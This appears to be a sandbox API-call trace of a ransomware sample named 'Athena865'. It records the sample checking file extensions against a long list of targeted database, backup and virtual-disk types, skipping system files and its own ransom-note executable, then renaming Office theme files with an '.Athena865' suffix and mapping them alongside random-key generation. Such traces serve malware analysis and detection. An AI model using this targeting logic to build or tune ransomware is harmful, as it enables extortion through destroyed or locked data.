[0065.796] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.796] lstrlenW (lpString="dbv") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.796] lstrlenW (lpString="dbx") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.796] lstrlenW (lpString="dcb") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.796] lstrlenW (lpString="dct") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.796] lstrlenW (lpString="dcx") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.796] lstrlenW (lpString="ddl") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.796] lstrlenW (lpString="dlis") returned 4 [0065.796] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0065.796] lstrlenW (lpString="dp1") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0065.796] lstrlenW (lpString="dqy") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0065.796] lstrlenW (lpString="dsk") returned 3 [0065.796] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0065.796] lstrlenW (lpString="dsn") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0065.797] lstrlenW (lpString="dtsx") returned 4 [0065.797] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0065.797] lstrlenW (lpString="dxl") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0065.797] lstrlenW (lpString="eco") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0065.797] lstrlenW (lpString="ecx") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0065.797] lstrlenW (lpString="edb") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0065.797] lstrlenW (lpString="epim") returned 4 [0065.797] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0065.797] lstrlenW (lpString="fcd") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0065.797] lstrlenW (lpString="fdb") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0065.797] lstrlenW (lpString="fic") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0065.797] lstrlenW (lpString="flexolibrary") returned 12 [0065.797] lstrlenW (lpString="fm5") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0065.797] lstrlenW (lpString="fmp") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0065.797] lstrlenW (lpString="fmp12") returned 5 [0065.797] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0065.797] lstrlenW (lpString="fmpsl") returned 5 [0065.797] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0065.797] lstrlenW (lpString="fol") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0065.797] lstrlenW (lpString="fp3") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0065.797] lstrlenW (lpString="fp4") returned 3 [0065.797] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0065.798] lstrlenW (lpString="fp5") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0065.798] lstrlenW (lpString="fp7") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0065.798] lstrlenW (lpString="fpt") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0065.798] lstrlenW (lpString="frm") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0065.798] lstrlenW (lpString="gdb") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.798] lstrlenW (lpString="gdb") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.798] lstrlenW (lpString="grdb") returned 4 [0065.798] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0065.798] lstrlenW (lpString="gwi") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0065.798] lstrlenW (lpString="hdb") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0065.798] lstrlenW (lpString="his") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0065.798] lstrlenW (lpString="ib") returned 2 [0065.798] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0065.798] lstrlenW (lpString="idb") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0065.798] lstrlenW (lpString="ihx") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0065.798] lstrlenW (lpString="itdb") returned 4 [0065.798] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0065.798] lstrlenW (lpString="itw") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0065.798] lstrlenW (lpString="jet") returned 3 [0065.798] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0065.798] lstrlenW (lpString="jtx") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0065.799] lstrlenW (lpString="kdb") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0065.799] lstrlenW (lpString="kexi") returned 4 [0065.799] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0065.799] lstrlenW (lpString="kexic") returned 5 [0065.799] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0065.799] lstrlenW (lpString="kexis") returned 5 [0065.799] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0065.799] lstrlenW (lpString="lgc") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0065.799] lstrlenW (lpString="lwx") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0065.799] lstrlenW (lpString="maf") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0065.799] lstrlenW (lpString="maq") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0065.799] lstrlenW (lpString="mar") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0065.799] lstrlenW (lpString="marshal") returned 7 [0065.799] lstrcmpiW (lpString1="an.thmx", lpString2="marshal") returned -1 [0065.799] lstrlenW (lpString="mas") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0065.799] lstrlenW (lpString="mav") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0065.799] lstrlenW (lpString="maw") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0065.799] lstrlenW (lpString="mdbhtml") returned 7 [0065.799] lstrcmpiW (lpString1="an.thmx", lpString2="mdbhtml") returned -1 [0065.799] lstrlenW (lpString="mdn") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0065.799] lstrlenW (lpString="mdt") returned 3 [0065.799] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0065.799] lstrlenW (lpString="mfd") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0065.800] lstrlenW (lpString="mpd") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0065.800] lstrlenW (lpString="mrg") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0065.800] lstrlenW (lpString="mud") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0065.800] lstrlenW (lpString="mwb") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0065.800] lstrlenW (lpString="myd") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0065.800] lstrlenW (lpString="ndf") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0065.800] lstrlenW (lpString="nnt") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0065.800] lstrlenW (lpString="nrmlib") returned 6 [0065.800] lstrcmpiW (lpString1="n.thmx", lpString2="nrmlib") returned -1 [0065.800] lstrlenW (lpString="ns2") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0065.800] lstrlenW (lpString="ns3") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0065.800] lstrlenW (lpString="ns4") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0065.800] lstrlenW (lpString="nsf") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0065.800] lstrlenW (lpString="nv") returned 2 [0065.800] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0065.800] lstrlenW (lpString="nv2") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0065.800] lstrlenW (lpString="nwdb") returned 4 [0065.800] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0065.800] lstrlenW (lpString="nyf") returned 3 [0065.800] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0065.801] lstrlenW (lpString="odb") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.801] lstrlenW (lpString="odb") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.801] lstrlenW (lpString="oqy") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0065.801] lstrlenW (lpString="ora") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0065.801] lstrlenW (lpString="orx") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0065.801] lstrlenW (lpString="owc") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0065.801] lstrlenW (lpString="p96") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0065.801] lstrlenW (lpString="p97") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0065.801] lstrlenW (lpString="pan") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0065.801] lstrlenW (lpString="pdb") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0065.801] lstrlenW (lpString="pdm") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0065.801] lstrlenW (lpString="pnz") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0065.801] lstrlenW (lpString="qry") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0065.801] lstrlenW (lpString="qvd") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0065.801] lstrlenW (lpString="rbf") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0065.801] lstrlenW (lpString="rctd") returned 4 [0065.801] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0065.801] lstrlenW (lpString="rod") returned 3 [0065.801] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0065.801] lstrlenW (lpString="rodx") returned 4 [0065.802] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0065.802] lstrlenW (lpString="rpd") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0065.802] lstrlenW (lpString="rsd") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0065.802] lstrlenW (lpString="sas7bdat") returned 8 [0065.802] lstrcmpiW (lpString1="ian.thmx", lpString2="sas7bdat") returned -1 [0065.802] lstrlenW (lpString="sbf") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0065.802] lstrlenW (lpString="scx") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0065.802] lstrlenW (lpString="sdb") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0065.802] lstrlenW (lpString="sdc") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0065.802] lstrlenW (lpString="sdf") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0065.802] lstrlenW (lpString="sis") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0065.802] lstrlenW (lpString="spq") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0065.802] lstrlenW (lpString="te") returned 2 [0065.802] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0065.802] lstrlenW (lpString="teacher") returned 7 [0065.802] lstrcmpiW (lpString1="an.thmx", lpString2="teacher") returned -1 [0065.802] lstrlenW (lpString="tmd") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0065.802] lstrlenW (lpString="tps") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0065.802] lstrlenW (lpString="trc") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.802] lstrlenW (lpString="trc") returned 3 [0065.802] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.803] lstrlenW (lpString="trm") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0065.803] lstrlenW (lpString="udb") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0065.803] lstrlenW (lpString="udl") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0065.803] lstrlenW (lpString="usr") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0065.803] lstrlenW (lpString="v12") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0065.803] lstrlenW (lpString="vis") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0065.803] lstrlenW (lpString="vpd") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0065.803] lstrlenW (lpString="vvv") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0065.803] lstrlenW (lpString="wdb") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0065.803] lstrlenW (lpString="wmdb") returned 4 [0065.803] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0065.803] lstrlenW (lpString="wrk") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0065.803] lstrlenW (lpString="xdb") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0065.803] lstrlenW (lpString="xld") returned 3 [0065.803] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0065.803] lstrlenW (lpString="xmlff") returned 5 [0065.803] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0065.803] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.Athena865") returned 74 [0065.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.athena865"), dwFlags=0x1) returned 1 [0065.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.805] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=83623) returned 1 [0065.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.806] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.806] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.806] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.806] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.807] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x149b0, lpName=0x0) returned 0x17c [0065.809] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x149b0) returned 0x100000 [0065.814] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.815] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.815] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.816] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.816] CloseHandle (hObject=0x17c) returned 1 [0065.816] CloseHandle (hObject=0x154) returned 1 [0065.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.817] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2=".") returned 1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="..") returned 1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="windows") returned -1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="bootmgr") returned 1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="temp") returned -1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="pagefile.sys") returned -1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="boot") returned 1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="ids.txt") returned 1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="ntuser.dat") returned -1 [0065.817] lstrcmpiW (lpString1="Metro.thmx", lpString2="perflogs") returned -1 [0065.818] lstrcmpiW (lpString1="Metro.thmx", lpString2="MSBuild") returned -1 [0065.818] lstrlenW (lpString="Metro.thmx") returned 10 [0065.818] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Metro.thmx" | out: lpString1="Metro.thmx") returned="Metro.thmx" [0065.818] lstrlenW (lpString="Metro.thmx") returned 10 [0065.818] lstrlenW (lpString="Athena865") returned 9 [0065.818] lstrcmpiW (lpString1="etro.thmx", lpString2="Athena865") returned 1 [0065.818] lstrlenW (lpString=".dll") returned 4 [0065.818] lstrcmpiW (lpString1="Metro.thmx", lpString2=".dll") returned 1 [0065.818] lstrlenW (lpString=".lnk") returned 4 [0065.818] lstrcmpiW (lpString1="Metro.thmx", lpString2=".lnk") returned 1 [0065.818] lstrlenW (lpString=".ini") returned 4 [0065.818] lstrcmpiW (lpString1="Metro.thmx", lpString2=".ini") returned 1 [0065.818] lstrlenW (lpString=".sys") returned 4 [0065.818] lstrcmpiW (lpString1="Metro.thmx", lpString2=".sys") returned 1 [0065.818] lstrlenW (lpString="Metro.thmx") returned 10 [0065.818] lstrlenW (lpString="bak") returned 3 [0065.818] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.818] lstrlenW (lpString="ba_") returned 3 [0065.818] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.818] lstrlenW (lpString="dbb") returned 3 [0065.818] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.818] lstrlenW (lpString="vmdk") returned 4 [0065.818] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.818] lstrlenW (lpString="rar") returned 3 [0065.818] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.818] lstrlenW (lpString="zip") returned 3 [0065.818] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.818] lstrlenW (lpString="tgz") returned 3 [0065.818] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.818] lstrlenW (lpString="vbox") returned 4 [0065.818] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.818] lstrlenW (lpString="vdi") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.819] lstrlenW (lpString="vhd") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.819] lstrlenW (lpString="vhdx") returned 4 [0065.819] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.819] lstrlenW (lpString="avhd") returned 4 [0065.819] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.819] lstrlenW (lpString="db") returned 2 [0065.819] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.819] lstrlenW (lpString="db2") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.819] lstrlenW (lpString="db3") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.819] lstrlenW (lpString="dbf") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.819] lstrlenW (lpString="mdf") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.819] lstrlenW (lpString="mdb") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.819] lstrlenW (lpString="sql") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.819] lstrlenW (lpString="sqlite") returned 6 [0065.819] lstrcmpiW (lpString1="o.thmx", lpString2="sqlite") returned -1 [0065.819] lstrlenW (lpString="sqlite3") returned 7 [0065.819] lstrcmpiW (lpString1="ro.thmx", lpString2="sqlite3") returned -1 [0065.819] lstrlenW (lpString="sqlitedb") returned 8 [0065.819] lstrcmpiW (lpString1="tro.thmx", lpString2="sqlitedb") returned 1 [0065.819] lstrlenW (lpString="xml") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.819] lstrlenW (lpString="$er") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.819] lstrlenW (lpString="4dd") returned 3 [0065.819] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.819] lstrlenW (lpString="4dl") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.820] lstrlenW (lpString="^^^") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.820] lstrlenW (lpString="abs") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.820] lstrlenW (lpString="abx") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.820] lstrlenW (lpString="accdb") returned 5 [0065.820] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.820] lstrlenW (lpString="accdc") returned 5 [0065.820] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.820] lstrlenW (lpString="accde") returned 5 [0065.820] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.820] lstrlenW (lpString="accdr") returned 5 [0065.820] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.820] lstrlenW (lpString="accdt") returned 5 [0065.820] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.820] lstrlenW (lpString="accdw") returned 5 [0065.820] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.820] lstrlenW (lpString="accft") returned 5 [0065.820] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.820] lstrlenW (lpString="adb") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.820] lstrlenW (lpString="adb") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.820] lstrlenW (lpString="ade") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.820] lstrlenW (lpString="adf") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.820] lstrlenW (lpString="adn") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.820] lstrlenW (lpString="adp") returned 3 [0065.820] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.820] lstrlenW (lpString="alf") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.821] lstrlenW (lpString="ask") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.821] lstrlenW (lpString="btr") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.821] lstrlenW (lpString="cat") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.821] lstrlenW (lpString="cdb") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.821] lstrlenW (lpString="ckp") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.821] lstrlenW (lpString="cma") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.821] lstrlenW (lpString="cpd") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.821] lstrlenW (lpString="dacpac") returned 6 [0065.821] lstrcmpiW (lpString1="o.thmx", lpString2="dacpac") returned 1 [0065.821] lstrlenW (lpString="dad") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.821] lstrlenW (lpString="dadiagrams") returned 10 